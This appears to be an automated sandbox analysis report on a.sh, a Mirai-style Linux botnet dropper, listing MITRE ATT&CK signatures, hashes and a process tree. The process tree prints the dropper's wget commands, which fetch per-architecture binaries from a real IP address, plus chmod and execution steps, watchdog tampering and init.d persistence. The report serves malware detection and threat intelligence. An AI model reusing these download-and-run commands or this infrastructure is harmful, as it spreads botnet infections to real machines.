67d0b94ca31e169b60d6a6449a99f114de83c321f21928371646f9af454d1e30

Analysis

max time kernel
149s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
08/08/2026, 14:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a.sh
Size 856B
Sample260808-r2dkfssyaz
SHA256 67d0b94ca31e169b60d6a6449a99f114de83c321f21928371646f9af454d1e30
MD5 391e4dd06918f0ee7f151314ced7c07f
SHA1 3c06d3ae0e31ac15bcf326c2b94edff373774614
SHA512 139d76ac0fd78801e49ad9867244cfa036f09de8de6acf98af925fccdcc120dff255aee0cacb028241d9a4a7eb3a7fc243684ea6b564aa3dd04130f520f9a1a6
TLSH
T12611444EE95AA0F30BC66512927C601DE00F812744469D18B1FF9F1EFB35D6870E59AB
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1554	chmod
1539	chmod
1556	chmod
1560	chmod
1561	chmod
1564	chmod
1575	chmod
1519	chmod
1522	chmod
1523	chmod
1537	chmod
1538	chmod
1542	chmod
1543	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/.cache_sal/rcu_l	1520	a.sh
/tmp/.cache_sal/init_l	1524	a.sh
/tmp/.cache_sal/ueventd_l	1526	a.sh
/tmp/.cache_sal/irqbalance_l	1540	a.sh
/tmp/.cache_sal/kworker_l	1544	a.sh
/tmp/.cache_sal/jbd2_l	1546	a.sh
/tmp/.cache_sal/cryptd_l	1550	a.sh
/tmp/.cache_sal/kdevtmpfs_l	1552	a.sh
/tmp/.cache_sal/ext4_l	1557	a.sh
/tmp/.cache_sal/systemd_l	1562	a.sh
/tmp/.cache_sal/kthreadd_l	1566	a.sh
/tmp/.cache_sal/ksoftirqd_l	1568	a.sh
/tmp/.cache_sal/watchdog_l	1570	a.sh
/tmp/.cache_sal/migration_l	1576	a.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	rcu_l
File opened for modification	/dev/misc/watchdog	rcu_l

Modifies the /etc/hosts DNS resolution file 1 TTPs 1 IoCs

Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/hosts	rcu_l

Traces itself 3 IoCs

Traces itself to prevent debugging attempts

pid	Process
1520	rcu_l
1540	irqbalance_l
1552	kdevtmpfs_l

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	149.112.112.112

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	rcu_l

Modifies init.d 2 TTPs 2 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/sysd	rcu_l
File opened for modification	/etc/init.d/watchdog	rcu_l

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	rcu_l

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kworker/0:0]	1530	rcu_l

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	rcu_l
File opened for reading	/proc/cpuinfo	irqbalance_l
File opened for reading	/proc/cpuinfo	kdevtmpfs_l

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	rcu_l

Reads runtime system information 33 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/446/fd	rcu_l
File opened for reading	/proc/501/fd	rcu_l
File opened for reading	/proc/542/fd	rcu_l
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/osrelease	rcu_l
File opened for reading	/proc/self/status	kdevtmpfs_l
File opened for reading	/proc/sys/kernel/osrelease	kdevtmpfs_l
File opened for reading	/proc/479/fd	rcu_l
File opened for reading	/proc/521/fd	rcu_l
File opened for reading	/proc/428/fd	rcu_l
File opened for reading	/proc/485/fd	rcu_l
File opened for reading	/proc/268/fd	rcu_l
File opened for reading	/proc/self/status	rcu_l
File opened for reading	/proc/self/mem	rcu_l
File opened for reading	/proc/448/fd	rcu_l
File opened for reading	/proc/439/fd	rcu_l
File opened for reading	/proc/522/fd	rcu_l
File opened for reading	/proc/322/fd	rcu_l
File opened for reading	/proc/326/fd	rcu_l
File opened for reading	/proc/486/fd	rcu_l
File opened for reading	/proc/self/status	irqbalance_l
File opened for reading	/proc/sys/kernel/osrelease	irqbalance_l
File opened for reading	/proc/434/fd	rcu_l
File opened for reading	/proc/494/fd	rcu_l
File opened for reading	/proc/550/fd	rcu_l
File opened for reading	/proc/414/fd	rcu_l
File opened for reading	/proc/1/fd	rcu_l
File opened for reading	/proc/249/fd	rcu_l
File opened for reading	/proc/454/fd	rcu_l
File opened for reading	/proc/465/fd	rcu_l
File opened for reading	/proc/493/fd	rcu_l
File opened for reading	/proc/495/fd	rcu_l
File opened for reading	/proc/497/fd	rcu_l

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1506	wget

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.cache_sal/init_l	wget
File opened for modification	/tmp/.cache_sal/rcu_l	wget
File opened for modification	/tmp/.cache_sal/irqbalance_l	wget
File opened for modification	/tmp/.cache_sal/cryptd_l	wget
File opened for modification	/tmp/.cache_sal/ksoftirqd_l	wget
File opened for modification	/tmp/.cache_sal/systemd_l	wget
File opened for modification	/tmp/.cache_sal/�@@@8@	sh
File opened for modification	/tmp/.cache_sal/migration_l	wget
File opened for modification	/tmp/.cache_sal/ueventd_l	wget
File opened for modification	/tmp/.cache_sal/kthreadd_l	wget
File opened for modification	/tmp/.cache_sal/kdevtmpfs_l	wget
File opened for modification	/tmp/.cache_sal/kworker_l	wget
File opened for modification	/tmp/.cache_sal/watchdog_l	wget
File opened for modification	/tmp/.cache_sal/jbd2_l	wget
File opened for modification	/tmp/.cache_sal/ext4_l	wget

/tmp/a.sh
/tmp/a.sh
1⤵
- Executes dropped EXE
PID:1484
- /bin/mkdir
  mkdir -p /tmp/.cache_sal
  2⤵
  - Reads runtime system information
  PID:1485
- /usr/bin/wget
  wget -q -O ksoftirqd_l http://94.154.43.244//mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1506
- /usr/bin/wget
  wget -q -O cryptd_l http://94.154.43.244//sh4
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/wget
  wget -q -O kdevtmpfs_l http://94.154.43.244//x86_64
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/wget
  wget -q -O kworker_l http://94.154.43.244//i586
  2⤵
  - Writes file to tmp directory
  PID:1509
- /usr/bin/wget
  wget -q -O rcu_l http://94.154.43.244//i486
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/wget
  wget -q -O jbd2_l http://94.154.43.244//m68k
  2⤵
  - Writes file to tmp directory
  PID:1501
- /usr/bin/wget
  wget -q -O init_l http://94.154.43.244//arm7
  2⤵
  - Writes file to tmp directory
  PID:1511
- /usr/bin/wget
  wget -q -O migration_l http://94.154.43.244//mpsl
  2⤵
  - Writes file to tmp directory
  PID:1502
- /usr/bin/wget
  wget -q -O ext4_l http://94.154.43.244//ppc440
  2⤵
  - Writes file to tmp directory
  PID:1504
- /usr/bin/wget
  wget -q -O ueventd_l http://94.154.43.244//arm6
  2⤵
  - Writes file to tmp directory
  PID:1512
- /usr/bin/wget
  wget -q -O irqbalance_l http://94.154.43.244//i686
  2⤵
  - Writes file to tmp directory
  PID:1505
- /usr/bin/wget
  wget -q -O watchdog_l http://94.154.43.244//ppc
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/wget
  wget -q -O kthreadd_l http://94.154.43.244//arm5
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/wget
  wget -q -O systemd_l http://94.154.43.244//arm
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 rcu_l
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /bin/chmod
  chmod 777 init_l
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /bin/chmod
  chmod 777 ueventd_l
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /bin/chmod
  chmod 777 irqbalance_l
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /bin/chmod
  chmod 777 kworker_l
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /bin/chmod
  chmod 777 jbd2_l
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /bin/chmod
  chmod 777 cryptd_l
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /bin/chmod
  chmod 777 kdevtmpfs_l
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /bin/chmod
  chmod 777 ext4_l
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /bin/chmod
  chmod 777 systemd_l
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /bin/chmod
  chmod 777 kthreadd_l
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /bin/chmod
  chmod 777 ksoftirqd_l
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /bin/chmod
  chmod 777 watchdog_l
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /bin/chmod
  chmod 777 migration_l
  2⤵
  - File and Directory Permissions Modification
  PID:1575

/tmp/.cache_sal/rcu_l
./rcu_l
1⤵
- Modifies Watchdog functionality
- Modifies the /etc/hosts DNS resolution file
- Traces itself
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Reads runtime system information
PID:1520
- /usr/bin/chattr
  chattr +i /etc/hosts
  2⤵
  PID:1531
- /usr/bin/chattr
  chattr +i /lib/modules/.kmod
  2⤵
  PID:1532

/bin/sh
sh ./rcu_l
1⤵
PID:1521

/bin/sh
sh ./init_l
1⤵
PID:1525

/bin/sh
sh ./ueventd_l
1⤵
PID:1527

/tmp/.cache_sal/init_l
./init_l
1⤵
PID:1524

/tmp/.cache_sal/ueventd_l
./ueventd_l
1⤵
PID:1526

/tmp/.cache_sal/irqbalance_l
./irqbalance_l
1⤵
- Traces itself
- Checks CPU configuration
- Reads runtime system information
PID:1540

/bin/sh
sh ./irqbalance_l
1⤵
PID:1541

/tmp/.cache_sal/kworker_l
./kworker_l
1⤵
PID:1544

/bin/sh
sh ./kworker_l
1⤵
PID:1545

/bin/sh
sh ./jbd2_l
1⤵
PID:1547

/tmp/.cache_sal/jbd2_l
./jbd2_l
1⤵
PID:1546

/bin/sh
sh ./cryptd_l
1⤵
PID:1551

/tmp/.cache_sal/cryptd_l
./cryptd_l
1⤵
PID:1550

/tmp/.cache_sal/kdevtmpfs_l
./kdevtmpfs_l
1⤵
- Traces itself
- Checks CPU configuration
- Reads runtime system information
PID:1552

/bin/sh
sh ./kdevtmpfs_l
1⤵
- Writes file to tmp directory
PID:1553

/bin/sh
sh ./ext4_l
1⤵
PID:1558

/tmp/.cache_sal/ext4_l
./ext4_l
1⤵
PID:1557

/bin/sh
sh ./systemd_l
1⤵
PID:1563

/tmp/.cache_sal/systemd_l
./systemd_l
1⤵
PID:1562

/bin/sh
sh ./kthreadd_l
1⤵
PID:1567

/bin/sh
sh ./ksoftirqd_l
1⤵
PID:1569

/tmp/.cache_sal/kthreadd_l
./kthreadd_l
1⤵
PID:1566

/bin/sh
sh ./watchdog_l
1⤵
PID:1571

/tmp/.cache_sal/ksoftirqd_l
./ksoftirqd_l
1⤵
PID:1568

/tmp/.cache_sal/watchdog_l
./watchdog_l
1⤵
PID:1570

/bin/sh
sh ./migration_l
1⤵
PID:1577

/tmp/.cache_sal/migration_l
./migration_l
1⤵
PID:1576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Adversary-in-the-Middle

T1557

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Adversary-in-the-Middle

T1557

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dionaea.pid

Path /run/dionaea.pid
Size 10B
SHA256 08244842313bde97e69a9d5a549fdd79c29f0287a85bc7a5a2c855748dccc206
MD5 6e9120a764f2e199c4001afc4884ed2a
SHA1 f4a381e6334b5edba34e14bd9a61eb3bcd146077
SHA512 c56d2fc457271da4442d108107b161354ad766eb29bf086e5ffeace903256d606f843eb2509921ccd3a03a2ed0ef58020b27d0972e5204a430f19e1315fb1610
MD5 SHA1 SHA512

Submit Download

cryptd_l

Path /tmp/.cache_sal/cryptd_l
Size 438KB
SHA256 f780dfe738826177e799952bee1e3c6a96464a499d76aae186d400d0c7fb2c82
MD5 f0bf2588cc47f3e09428380634c33c6b
SHA1 1a3838e636b89eb36aebcb6c91fa83237a5abd0b
SHA512 ce9b0de409ddc2bdfcabf7d035d639d5e842ccf6a845a2f673a0df7543adc5b47c1a354a72c7a919cc0e176a29bf36486170c95eb2e00b0eaf7436687a8e0283
SSDEEP 12288:bB8HFR9M82Tg7U1SFkrKj6vVMCZmnMrMykO92ZVuvWtoSiQ98h:cFMBuU11ryjCIMrMykO92ZVuvWtoSiQy
TLSH
T1A3A49D12D9716E93C0965BB2A2F3CA740B13E8116B471EB6E66BC9F88143ECCF215774
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ext4_l

Path /tmp/.cache_sal/ext4_l
Size 478KB
SHA256 343e4cca847c00aeb4ee712d49f1ae4bbefae9803019f55dbc79910610664147
MD5 d044128f4b87b1f40cb7b111f99088f8
SHA1 55d89749be1fbe690f9d06006fd37ea3c0bc8b9d
SHA512 1c5da1856c747e44a61e19f7ae5a456f1cb65d652e19f45182ee2573aaa823f27b882722e7b2ebc698178db16f946681bfa64ae5bbcf05134918e720fb11561a
SSDEEP 12288:6JME2UrbzwJY1H0oI/otHqX+VNKWO9DZFLOWtOSjQEUx:6JMSWsH7N+gNKWO9DZFLOWtOSjQEUx
TLSH
T1B0A46C02671D0B43E25B1DF036FB07F1C36F985138E6B544B90FAE59A3B2E71550AACA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

init_l

Path /tmp/.cache_sal/init_l
Size 206KB
SHA256 083235a8968781c8d8a33c4ff82d270b0fbc1f99443644dfdf25d820089bb65c
MD5 34be435fa848013421c7451870cd2c8c
SHA1 badf44f12d75d197f53b61e5e647261ecfdcf0fd
SHA512 14a9e48d7b95459908501d48021f9205c7def2e81a66d9c068cce9a12013135e714d6e4358c872a6bc73268b2e39a2fb09736fdec21883d8c83ef57fe5cabf99
SSDEEP 6144:H+7kiPY3rTObosCPRasl2O7MlA163hRKFxSiJM/9d0Ftw:HFiwiCPRay2O7MlA1Sbwde/f0F+
TLSH
T142244B46AA418F13C4D72779FB9F428633239B64D3EB730689186FB43B8679A0E73505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

irqbalance_l

Path /tmp/.cache_sal/irqbalance_l
Size 354KB
SHA256 ede7aa0fe310bbf7633b326a8d5bc91409239f04c9b7aa1481dd1d6a973f29e4
MD5 cad1a9aad70a6b6e4ed9f8c559d4eb83
SHA1 195302e898cb4374b793bcc0ed01784ef8f8bed8
SHA512 e13654f0358fdf588d4e8216649e8de65c6833b7f895e0567cd88a744e57a8997c8c92bc4e7b64900a7c116d18cb5842cfc961ff49f5fb7af6a293cd89376eb4
SSDEEP 6144:jeiSC73DhNXrkLxXAB/CpC3VftvuET9ow5xheZI1V3Oepo+N:jeiT7j4LKqaftjT9omef+N
TLSH
T1C3746D42FB83C0F1D8530C7140277B3F8B31A9199037DAABEF962E2AD9576519329378
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jbd2_l

Path /tmp/.cache_sal/jbd2_l
Size 461KB
SHA256 e5864f03f621b464a89a802d5672299f0098cc76528c2b085fbbb9876a669649
MD5 e3efd3926dc9cdd6b274ccb59d886f5f
SHA1 0c4d4b58121d95932cb4d6c5af0ef6ef4ad9b628
SHA512 1c3e2ee415c4bb228ce745a136aa63ee31905e9d6fcc26e674acedc22e049579e89388d8c3f4f568b65682dd79b90c1eb3b54e1e2f3c1e5c909a3b620d701a59
SSDEEP 12288:EDrsTwI4l7MxqvwkgQWpncpqnHOhUXWV9DZVLWWtOEiQQ8x:EDuwIE7MxqvwkgvKp+aUXWV9DZVLWWtB
TLSH
T156A47D83B804CD7FF84EA77744D34B25A131E73159432A36B21BB965EA3B3A41836F85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kdevtmpfs_l

Path /tmp/.cache_sal/kdevtmpfs_l
Size 388KB
SHA256 cc3a4c69a58f592c65465f139a7e4446fff6a04670f3039d108f9b896ef1ca69
MD5 02cdfe00ff2ccfbc91c47187e23f7071
SHA1 d5208aa5bb3af0de07a96a5145aa57670bfe3168
SHA512 77bb61a22878646fc73c5e463aee93974ea89cd0e0d550b9a0593998b71cff4d686dae84b8c0893794d2d1fed1a918ac194cd6b2958eb990c916faf287c23df4
SSDEEP 6144:9u4eNj16ZKSsDUdYIJt60bpj6P3uFBJmIDM13RGi7TTTq16ncTVAnx:9z01hSsyfDbx6W0IDGZvT1nx
TLSH
T198847C03EAC080B9C8D5C1744B8FA23799B2B44D6138BA6F77D6AF526E1AF20571DF40
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ksoftirqd_l

Path /tmp/.cache_sal/ksoftirqd_l
Size 610KB
SHA256 c4d0da9d6b57f8a4847ed2e5ff530f0b1c9552340d3c270771148bcda492f661
MD5 d7fa5dcbabf330bf9a246af5722aefcd
SHA1 d674626bc0ed32cc82598ad3355cfc013ca9d2ec
SHA512 e7f04e19adb7b6e60cb794908261809d19c4a6f19691478d67f8d0bb92bca335c9c46589b12d4d6193876f1f4a619c2b10f646b1e8fcbbaea774fc34c282c04d
SSDEEP 12288:pSklJbnIISSZCaBAEsJgqndXgaktyubhmKvRaNROLfrX0n6:pDJb75oaqEp+peyubhmKvRaNROLfrX06
TLSH
T12CD4F80A6E218F7DF278873147F34B34D7BA72D627E28681E1ADD1145F2028E591FB98
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kthreadd_l

Path /tmp/.cache_sal/kthreadd_l
Size 502KB
SHA256 0452f9b557ddc5621efd0af6997491c753525a72ad083f55e0ebca9cba2e429c
MD5 c1b3e8661d98e815e8bf1f301af115c2
SHA1 c42519d27d10fc73e9bfbfbd5b0e59ffd4bb9b1b
SHA512 8aa117fcc316c877330ebb3ab32681b8dae82cc77b6f0a3f6d6e1cbebbc64646724540fff4e8f3e66787bb527bc3d66df2d1eab635a7569a2f4496aa6f4d077c
SSDEEP 12288:fBSBbMs8H+wQBgo8U4lAM5Z8oPmjdUOWV8DEipbWB/CuGMtx:AE0Lb7UOWV8DEipbWB/CuGMtx
TLSH
T14FB41911EC418F93C6C12FBBFBAE824933335778D7EB73129A195A74378665E0A3A141
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kworker_l

Path /tmp/.cache_sal/kworker_l
Size 346KB
SHA256 99c8a5433fb68c939767326a94cd385167a75071c65e2bc90f1dfcdf0c179ea5
MD5 170e2f4d9f5f76d3b61c6c47fc8d4679
SHA1 7b4beee88f1d9235eef17cc96dee10430052fcd9
SHA512 f2966baaef4e2650744acc1cd7a19e57fb2dc56d1a381e5626f1eac8839a3b3087a82d1ca238e73000de5b768b8673d333af7b4bc3bf34963d6dab8754b49830
SSDEEP 6144:OoCBaJgKnLbT+pGKXUw68L5erk2EgPGOQ4LzgUnruz8Iik4lTwJtVtu:OCJxb6XK8L4k2XPJe8IVt
TLSH
T1C8746D42EBE3C0F1FC9208B15027772B5A339829603BDED7E7966D26D861641972B73C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

migration_l

Path /tmp/.cache_sal/migration_l
Size 619KB
SHA256 d52cc6f23cd1510e36f77ba3c0ed6a7742f2fd344b7fa99054e6694062e74d5a
MD5 fec72f8341505db6bbabe44cd9fec34a
SHA1 3d3893e0271d6d3ed802622ea1a059213259bddc
SHA512 28470c7810b4bf16f351e362ff2e74f3cfcdd07090a4078e46059c5150531225c31dbf3f35c7dc377dadb6f6eff2e3ecc33d404e577fd6c4c0646cdf0236b5f2
SSDEEP 12288:pz5+Wk7GfoOrfuBHrOSmviQh0JV1ooLubhmKvRaNROLfrX0n6:T+1yf3ruBHrrmKQh0jLubhmKvRaNROLl
TLSH
T170D42A0AAF550FFBD81FCE3706EA1A16259DA84333663B357234D924FA0A54E49E3C74
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rcu_l

Path /tmp/.cache_sal/rcu_l
Size 117KB
SHA256 748d9b669833810f30005f7682cdab81ca6d51a941383acc7c0ea3ceeb2b303f
MD5 6e7573d108e3d737c1f443d54df3a0aa
SHA1 f1f4a8fa4fb1892cd7107bf41aeb4fe177e772fb
SHA512 102dff521d8b01078141aa266045be48dc2848e7ee86bec6d5881d3c282fb6d7cd4092a9f490af9c24c717bcc2aeba9249ebd73e036cca0d36d4d2b8afb2acbd
SSDEEP 3072:jQpVKh5buJaMtbopCnQX3FYLdFe81kbOOKe:jKKPiaMiAQHFYLa3M
TLSH
T1EFC37C49E743E0F6ED1605B0002BF73E5A356C225026DEBBEBD4FE76BE72602911661C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

systemd_l

Path /tmp/.cache_sal/systemd_l
Size 506KB
SHA256 b6c742d63951934bde001f9c2f203fa081032e68a417256a8b059b6f3a8de028
MD5 e4bf4ffb9ebc5c578c7f3251b2909e3b
SHA1 8ca7098d832868c6265b345374f9dcf4caef4416
SHA512 1cacf3a7cd4227ff32daad2ec2178ae0eab6ada9e2679e220fc40329e7baa1b13f667fb9ddb9985580b0adac18ee1efdb3c624ab45e82c5251968993f67f9b09
SSDEEP 12288:otEBtzVO0HwQe20R9NA3kTBlmmybUNWVwW9CEEa74ntnLKx:hzV1o20R6bUNWVwW9CEEa74ntnLKx
TLSH
T103B41911EC419F93C6C12FBAFBAE824933335778D7EB7312DA195A70378665E0E2A141
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ueventd_l

Path /tmp/.cache_sal/ueventd_l
Size 163KB
SHA256 f9d140932800740056f53de25d75bf74c0bf1c070a6183af71eb79aceb5783db
MD5 31218115bc3cd4f8b1d237639e15e7aa
SHA1 c9d86629b1d08b5b5ea9ceaff7f3684fe1b2315d
SHA512 3cf73c28d6104b38d069ed7ac9a688a0468bbc5b1ea045d140a0f31a865cefcdcf7f8b668aa52cc96234d3ab5d9783d29e19c867cfba2c24a05ba820fb9ae0ed
SSDEEP 3072:GXOJFPZ060oaWB3mJ01h9jKihua7jB6MGU0Ji7YN8pW65Gherr6aqv:GXOzPZF0oaAm0550afBIU0EtpW5Guaqv
TLSH
T10CF35D02AD528A13C5C71779BB9F869633236B74D3DB3302C9186FB42F8669E0F7A511
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watchdog_l

Path /tmp/.cache_sal/watchdog_l
Size 477KB
SHA256 3b5cd140fd24f4d5f84142f1ed2ea531eaeda01d160a6a2f8858910372d4615d
MD5 d6c2da520218f53a342bc0cda4d892b1
SHA1 200fb5b8abc1bed317a243cd872dc00bed391b80
SHA512 698b49b8be69de8c916c462652285dd691513c8be41ec294142f81a61f0d5b289626739559072f5395edb246be7d57c4f58183953196dc410180c1e0867ac940
SSDEEP 12288:VbGmJ4KxWfuX+Osk7BglDwqXG1NKWO9DZFLOWtOSjQEUx:pZJ4KB7z+ENKWO9DZFLOWtOSjQEUx
TLSH
T1ACA46D02731D0B43E26B1DF036BB17F1C3AF985134F2B544B91FAA59A2B2E71154EAC9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads